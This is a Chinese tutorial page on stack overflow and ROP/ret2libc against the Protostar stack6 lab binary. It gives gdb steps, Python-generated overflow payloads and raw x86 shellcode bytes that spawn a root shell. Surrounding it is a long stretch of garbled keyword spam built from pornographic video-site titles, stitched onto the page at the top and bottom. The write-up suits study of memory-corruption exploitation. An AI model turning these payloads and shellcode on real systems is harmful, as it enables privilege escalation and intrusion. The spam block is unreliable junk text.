精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

Linux使用ROP進行棧溢出攻擊

安全 黑客攻防
通過Protostar stack6演示Linux下ROP的簡單使用,ROP就是所謂的Return Orientated Programming,早期也叫ret2libc。

通過Protostar stack6演示Linux下ROP的簡單使用,ROP就是所謂的Return Orientated Programming,早期也叫ret2libc。

一、__builtin_return_address函數

先介紹下__builtin_return_address這個函數,這個函數接收一個參數,可以是0,1,2等。__builtin_return_address(0)返回當前函數的返回地址,如果參數增大1,那么就往上走一層獲取返回地址。Windows下好像也有個類似的函數,不過具體叫什么忘記了。看一個例子就知道這個函數的用處了:

  1. #include <stdio.h>  
  2. #include <string.h>  
  3. #include <stdlib.h>  
  4. #include <unistd.h>  
  5.    
  6. void foo()  
  7. {  
  8.     printf("in foo()\n");  
  9.     printf("Foo: __builtin_return_address(0) = 0x%08X\n",  
  10.         __builtin_return_address(0));  
  11.     printf("Foo: __builtin_return_address(1) = 0x%08X\n",  
  12.         __builtin_return_address(1));  
  13.     bar();  
  14. }  
  15.    
  16. void bar()  
  17. {  
  18.     printf("in bar()\n");  
  19.     printf("Bar: __builtin_return_address(0) = 0x%08X\n",  
  20.         __builtin_return_address(0));  
  21.     printf("Bar: __builtin_return_address(1) = 0x%08X\n",  
  22.         __builtin_return_address(1));  
  23. }  
  24.    
  25. int main(int argc, char **argv)  
  26. {  
  27.     foo();  
  28.    
  29.     return 0;  
  30. }  

編譯之后用gdb調試,情況如下:

Linux使用ROP進行棧溢出攻擊

foo中調用__builtin_return_address(1)得到的結果就是main函數執行完之后的返回地址。#p#

二、直接在棧上執行Shellcode

題目的源代碼如下:

  1. #include <stdlib.h>  
  2. #include <unistd.h>  
  3. #include <stdio.h>  
  4. #include <string.h>  
  5.    
  6. void getpath()  
  7. {  
  8.     char buffer[64];  
  9.     unsigned int ret;  
  10.    
  11.     printf("input path please: "); fflush(stdout);  
  12.     gets(buffer);  
  13.     ret = __builtin_return_address(0);  
  14.    
  15.     if((ret & 0xbf000000) == 0xbf000000) {  
  16.         printf("bzzzt (%p)\n", ret);  
  17.         _exit(1);  
  18.     }  
  19.    
  20.     printf("got path %s\n", buffer);  
  21. }  
  22.    
  23. int main(int argc, char **argv)  
  24. {  
  25.     getpath();  
  26. }  

可以看出buffer是可以溢出的,但是后面對返回地址有一個校驗,即最高位不能是0xBF,而棧的地址的最高位就是0xBF,所以不能直接跳轉到棧上面去執行Shellcode,但是我們可以通過.text中的一條ret指令作為跳轉。首先需要測試返回地址的覆蓋字段位于輸入數據中的位置:

  1. python -c "print 'A'*80+'B'*4" > data.txt  
  2. gdb stack6  
  3. disas getpath  
  4. b *0x080484b8   #在這里返回地址放到了eax中  
  5. r < data.txt  
  6. info registers eax 

看到eax剛好為0×42424242,也就是返回地址被覆蓋成了0×42424242。現在需要一條ret指令,可以直接取main函數的最后一條指令,通過disas main可以查看到地址為0×08048508。如果我們把返回地址覆蓋為0×08048508,那么從getpath返回后就跑去0×08048508這個地址去執行了,而這里又是一條返回地址,那么我們可以在棧上放一個指向Shellcode的地址。

現在需要知道buffer的地址,在gets調用處下斷點:

  1. disas getpath  
  2. b *0x080484aa  #這里調用gets  
  3. info registers eax 

得到buffer的地址為0xBFFFFCCC。buffer的起始地址知道了,我們就可以知道Shellcode的位置了:

0xBFFFFCCC + 80 + 4 + 4 = 0xBFFFFD24。

下面是數據的布局:

Linux使用ROP進行棧溢出攻擊

用Python生成這段數據,并當做stack6程序的輸入數據:

python -c "print 'A'*80 + '\x08\x85\x04\x08' + '\x24\xFD\xFF\xBF' + 
'\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31
\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin
\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80'" > data.txt
 
gdb stack6
r < data.txt
 
whoami
root

#p#

三、使用ROP技術

其實上面跳轉到main函數的最后一條ret指令的方法就是使用了ROP的思想了,不過現在假設棧沒有可執行屬性,那么上面的方法就不行了。我們可以考慮使用execve(“/bin/sh”, 0, 0) 執行shell。為此,需要先找到execve的地址,gdb下輸入如下命令:

  1. print execve #為0xb7f2e170  
  2. print exit   #為0xb7ec60c0 

通過x /1000s $esp查找/bin/sh字符串,在0xbffffefb發現字符串”SHELL=/bin/bash”,我們需要的地址為0xbffffefb+6=0xBFFFFF01。當然也可以在輸入的時候直接傳入字符串,不過需要控制字符串結束符,gets又不能讀(讀入的是0x0D,不是0×00),額外處理為很麻煩。上面的查找方法是查找進程中的環境變量字符串實現的。同時我們也能找到指向0×00000000的指針,如0xBFFFFD6A,往execve的第二個第三個參數傳入這樣的指針也是可以的。

Linux使用ROP進行棧溢出攻擊

現在我們的數據布局如下:

Linux使用ROP進行棧溢出攻擊

execve調用之后是不會返回的,所以填充的那個exit的地址也可以是其他的不帶NULL的數據,按我所想象的,這樣之后就可以了。

  1. python -c "print 'A'*80 + '\x08\x85\x04\x08' + '\x70\xE1\xF2\xB7' + 
  2. '\xC0\x60\xEC\xB7' + '\x01\xFF\xFF\xBF' + '\x6A\xFD\xFF\xBF' +
  3.  '\x6A\xFD\xFF\xBF'" > data.txt  
  4.    
  5. gdb stack6  
  6. r < data.txt  

不過這里在gdb中看到,/bin/bash執行后立刻就退出了,這個估計是使用execve的方式不對,ROP思路本身是沒有問題的,下次分析下第一種方法中的Shellcode,就知道怎么用了。

四、 gdb調試學習

反匯編指定區域的數據:disas /r 0x0804a000 0x0804b000

查看函數地址:print execve

修改內存數據:set *((char*)0x0804aabb=0×00 選擇對應的type即可

將文件數據作為輸入:run < 文件路徑

將shell命令輸出作為命令行參數:run $(python -c "print 'A'*100")

責任編輯:藍雨淚 來源: 程序人生博客
相關推薦

2017-03-14 15:37:28

2012-11-26 10:53:03

2022-01-24 07:35:39

XLL網絡攻擊惡意軟件

2019-01-11 09:00:00

2021-08-30 07:57:26

OpenAttack文本對抗攻擊

2009-05-13 09:21:48

2009-09-24 18:29:12

2022-02-22 09:33:38

LIFO數據結構

2014-07-30 11:21:46

2021-03-04 11:02:07

勒索軟件Nefilim幽靈賬戶

2019-03-06 09:00:38

ASLRLinux命令

2009-09-24 18:16:40

2023-04-20 14:58:54

2009-10-12 14:21:44

2023-05-15 15:59:07

2011-02-28 09:34:55

2022-05-04 11:10:58

Linuxdnf 命令

2022-05-07 11:08:50

Linuxapt 命令

2023-12-19 16:31:19

2021-05-04 21:03:39

惡意軟件勒索軟件網絡攻擊
點贊
收藏

51CTO技術棧公眾號

久久九九热免费视频| 欧美精品久久一区二区三区| 国产区二精品视| 国产精品999在线观看| 国产日产一区 | 日韩黄色在线| 一区二区三区高清| 乱一区二区三区在线播放| 中文字幕一区二区人妻痴汉电车 | 久久毛片高清国产| 国产精品中文字幕久久久| www.5588.com毛片| 亚洲区小说区| 日韩欧美精品三级| 亚洲乱码国产一区三区| av色综合久久天堂av色综合在| 成人性色生活片| 国产精品免费久久久久久| 国产97免费视频| 国产一区二区三区四区五区| 日韩精品一区二区三区四区| 91香蕉视频污版| 6699嫩草久久久精品影院| 亚洲欧美中日韩| 另类小说综合网| 午夜精品久久久久久久爽| 日韩av一区二区三区四区| 国产+人+亚洲| 成人免费视频国产免费观看| 久久99免费视频| 亚洲电影在线观看| 毛片毛片毛片毛片毛| 国产精品久久久久久吹潮| 无码av免费一区二区三区试看 | 成人羞羞视频免费| 91在线你懂的| 日本美女一区二区| 日本高清不卡在线| 国产欧美日韩另类| 国产在线成人| 欧美大片va欧美在线播放| 一区二区三区在线观看免费视频| 亚洲69av| 亚洲大胆人体视频| 中文字幕1区2区| 日韩精品成人在线观看| 欧美无人高清视频在线观看| 日日碰狠狠丁香久燥| 欧美男人天堂| 精品久久久一区| 亚洲 欧美 日韩 国产综合 在线 | 欧美一级成年大片在线观看| 久久一区二区三| 欧美日韩一卡| 欧美激情一区二区三级高清视频| 美女福利视频在线观看| 伊人久久大香线| 美女扒开尿口让男人操亚洲视频网站| 91免费公开视频| 一个色综合网| 欧美疯狂做受xxxx高潮| 久久av高潮av无码av喷吹| 中文字幕一区二区av| 欧美xxxx做受欧美.88| 精品国产视频在线观看| 欧美~级网站不卡| 久久久久女教师免费一区| 久久久久久久久久久久久久免费看| 欧美日韩伊人| 韩国19禁主播vip福利视频| 国产成人无码精品| 久久久久99| 国产精品中文字幕在线观看| 亚洲综合免费视频| 国产成人午夜精品5599 | 亚洲系列另类av| 亚洲香蕉成人av网站在线观看| 手机毛片在线观看| 国产精品久久久久久| 欧美大肥婆大肥bbbbb| 中文字幕一区二区三区手机版| 性色一区二区| 国产精品国产三级国产aⅴ浪潮 | 国产亚洲精品久久久久久无几年桃| 欧美午夜在线视频| 91成人在线视频| 中文字幕在线观看高清| 国产精品一区二区男女羞羞无遮挡| 国产精品久久一区二区三区| 久蕉在线视频| 亚洲欧洲制服丝袜| 日本午夜激情视频| 国产成+人+综合+亚洲欧美| 日韩女同互慰一区二区| 国产全是老熟女太爽了| 99久久婷婷这里只有精品| 久久久噜噜噜久久中文字免| 国语对白做受69按摩| 国产精品一区一区三区| 蜜桃视频在线观看成人| wwwav在线| 日本韩国欧美在线| 极品人妻一区二区| 精品国产乱码久久久久久蜜坠欲下| 欧美理论片在线观看| 日韩精品久久久久久免费| 国产一区二区三区综合| 久久久久久久久一区| 黄色精品在线观看| 一本久道中文字幕精品亚洲嫩| 色婷婷激情视频| 欧美人与拘性视交免费看| 欧美精品一二区| 综合久久中文字幕| 99精品桃花视频在线观看| 国产对白在线播放| 极品美女一区| 亚洲第一色在线| 精品欧美一区二区久久久久 | 奇米四色中文综合久久| av中文字幕免费在线观看| 国产香蕉久久精品综合网| 黄色大片中文字幕| 国产精品视频一区二区三区综合| 亚洲人成电影在线播放| 日韩av一二三区| 国产在线视频一区二区| 亚洲国产成人不卡| 欧美黑人一区| 日韩av影片在线观看| 久久中文字幕无码| 国产成人丝袜美腿| 中文字幕第50页| 91国产一区| 日韩一区二区三区在线播放| 波多野结衣高清在线| 97久久精品人人爽人人爽蜜臀| 国产内射老熟女aaaa| 四虎精品一区二区免费| 国产一区二区三区18| 天天爽夜夜爽人人爽| 91视频在线观看免费| 欧美一级视频免费看| av不卡一区二区| 久久久久久久爱| 六月婷婷综合网| 亚洲一区二区三区激情| 国产调教打屁股xxxx网站| 伊人成综合网| 国产不卡一区二区在线观看| 欧美78videosex性欧美| 精品国产乱码久久久久久免费| 美女福利视频在线观看| 福利一区福利二区| 男人天堂av片| 先锋影音国产精品| 欧美性受xxx| 精品无吗乱吗av国产爱色| 色综合久久中文字幕综合网| 69视频在线观看免费| 免费观看日韩电影| 椎名由奈jux491在线播放| 91成人app| 久久999免费视频| 少妇高潮一区二区三区99小说| 香蕉成人啪国产精品视频综合网| 91黄色免费视频| 久久精品91| 亚洲自拍三区| 日韩高清在线观看一区二区| 久久久久国产一区二区三区| 天堂av资源网| 欧美性大战久久| 亚洲天堂黄色片| 丁香另类激情小说| 少妇性饥渴无码a区免费| 国产一区二区精品久| 91久久在线观看| 高潮在线视频| 最近2019中文字幕mv免费看| 国产成人精品一区二区无码呦| 亚洲风情在线资源站| 日韩一区二区a片免费观看| 精品一区二区在线视频| 国产成a人亚洲精v品在线观看| 亚洲免费毛片| 91在线免费观看网站| 欧美男男tv网站在线播放| 中文日韩在线观看| 午夜免费福利视频| 色综合久久久久综合体桃花网| 国精产品一区一区二区三区mba| 不卡的av电影在线观看| 日日噜噜噜噜久久久精品毛片| 91精品二区| 欧美乱偷一区二区三区在线| 57pao成人永久免费| 日本一区二区不卡| 亚洲奶水xxxx哺乳期| 亚洲剧情一区二区| 国产丰满美女做爰| 在线视频一区二区三区| 久久久久亚洲av片无码下载蜜桃| 国产亚洲欧美在线| 涩视频在线观看| 麻豆91在线看| 国产亚洲天堂网| 狠狠色丁香久久综合频道| 日韩av在线电影观看| 波多野结衣在线一区二区| 国产男女猛烈无遮挡91| 免费在线小视频| 欧美人在线视频| 黄色精品免费看| 一本色道久久综合狠狠躁篇的优点| 亚洲av无码一区二区乱子伦| 精品视频免费在线| 国产三级av片| 亚洲1区2区3区4区| 欧美人妻一区二区| 中文字幕一区二区不卡| 中文字幕免费视频| www.欧美色图| 成人做爰69片免费| 国产一区二区三区久久悠悠色av| 国产情侣av自拍| aa级大片欧美三级| www.亚洲成人网| 亚洲欧美综合久久久| 色一情一乱一伦一区二区三区| 欧美一级二级三级视频| 国产精品自拍首页| 亚洲欧美日本国产| 亚洲综合av影视| av在线成人| 国产一区红桃视频| 成人亚洲网站| 国产精品亚洲激情| 浪潮色综合久久天堂| 欧美一级电影久久| 色偷偷偷在线视频播放| 国语自产偷拍精品视频偷| 青青在线视频| 久久久久免费精品国产| 国产高清视频色在线www| 欧美极品少妇xxxxx| 日皮视频在线观看| 欧美激情亚洲一区| 成人福利影视| 2019精品视频| 亚洲免费福利| 国产精品久久久久久久久久久久久久| 亚洲不卡系列| 国产日韩欧美一二三区| 四虎影视成人精品国库在线观看 | 欧美激情乱人伦一区| 国产美女一区视频| 国产91精品久久久| 羞羞影院欧美| 国产免费观看久久黄| 国产日韩一区二区三免费高清| 亚洲自拍在线观看| 国产精品毛片av| 欧美日韩亚洲一区二区三区在线观看 | 久久超级碰视频| 中文字幕在线视频一区二区| 懂色av中文一区二区三区| 中文在线观看免费视频| 91老师片黄在线观看| 成人无码av片在线观看| 国产精品福利电影一区二区三区四区| 后入内射无码人妻一区| 伊人开心综合网| 在线观看亚洲天堂| 在线观看一区日韩| av天堂一区二区三区| 亚洲福利视频二区| 国产爆初菊在线观看免费视频网站| 在线视频亚洲欧美| 欧美xxxx黑人又粗又长| 日av在线播放中文不卡| 伊人久久大香| 久久国产欧美精品| 色喇叭免费久久综合| 福利在线一区二区| 日本在线不卡视频一二三区| 在线播放黄色av| 97久久精品人人做人人爽50路| 特黄一区二区三区| 激情成人中文字幕| 91麻豆成人精品国产免费网站| 亚洲精品一区在线观看| 岛国在线视频| 久久久久久久久国产精品| 成人黄色免费短视频| 亚洲精品免费在线视频| 中文字幕中文字幕精品| 亚洲免费视频播放| 亚洲欧美日韩一区在线观看| 午夜免费视频网站| 国产欧美日韩精品一区| 国产无码精品在线播放| 欧美日韩国产bt| 天堂av中文在线资源库| 久久亚洲精品网站| 制服诱惑亚洲| 国产偷久久久精品专区| 97精品国产福利一区二区三区| www.99热这里只有精品| 国内精品在线播放| 国产sm调教视频| 精品久久久久久亚洲精品| 国产精品久久久久久久久久久久久久久久 | 欧美欧美欧美| 久久久久久午夜| а天堂中文最新一区二区三区| 日本视频一区在线观看| 日韩视频二区| 亚洲午夜精品在线观看| 亚洲欧洲国产专区| 精品久久久久久久久久久久久久久久 | 亚洲污视频在线观看| 91丨porny丨首页| 久热精品在线观看| 日韩欧美亚洲国产精品字幕久久久 | caoporen国产精品视频| 国产大片免费看| 欧美日韩精品高清| 加勒比一区二区三区在线| 8050国产精品久久久久久| 成人激情自拍| 一二三在线视频| 国产在线精品国自产拍免费| 国产视频123区| 欧美色国产精品| 亚洲麻豆精品| 国产精品视频免费在线| 欧美伦理影院| 在线看的黄色网址| 国产精品无遮挡| 伊人久久一区二区| 日韩一区二区在线视频| 欧美黄页在线免费观看| 亚洲午夜精品一区二区| 美女网站在线免费欧美精品| 天天操天天摸天天舔| 精品视频123区在线观看| eeuss影院在线观看| 国产精品专区第二| 亚州av乱码久久精品蜜桃| 九九久久久久久| 亚洲猫色日本管| www.久久伊人| 国内精品伊人久久| 久久悠悠精品综合网| 国产av天堂无码一区二区三区| 97成人超碰视| 日韩中文字幕高清| 日韩在线国产精品| 日本精品在线观看| 中文字幕无码精品亚洲资源网久久| 成人精品视频一区二区三区| 在线观看国产亚洲| 国产一区二区三区丝袜| 欧美亚洲黄色| 日本大片免费看| 久久色视频免费观看| 中文字幕乱伦视频| 美日韩丰满少妇在线观看| www.久久东京| 日本成人黄色网| 亚洲色图视频免费播放| 亚洲精品一区二区三区区别| 2025国产精品视频| 久久亚洲在线| 无码国产精品一区二区免费式直播 | 亚洲一二av| 久久精品一区二| **性色生活片久久毛片| 黑人操亚洲女人| 国产精品jvid在线观看蜜臀| 亚洲精品一区二区妖精| 麻豆精品国产传媒av| 欧美在线一区二区三区| 超碰超碰在线| 欧美一区二区在线| 国产美女在线精品| 国产精品久久久久久久久久久久久久久久久 | 狠狠做深爱婷婷久久综合一区| a√在线中文网新版址在线| 99久久精品免费看国产一区二区三区| 性久久久久久| 久草免费在线观看视频| 夜夜嗨av色综合久久久综合网| 免费一级欧美在线大片| av动漫免费看| 一区二区高清在线| 99视频在线观看地址| 国产一区免费在线| 久久av中文字幕片|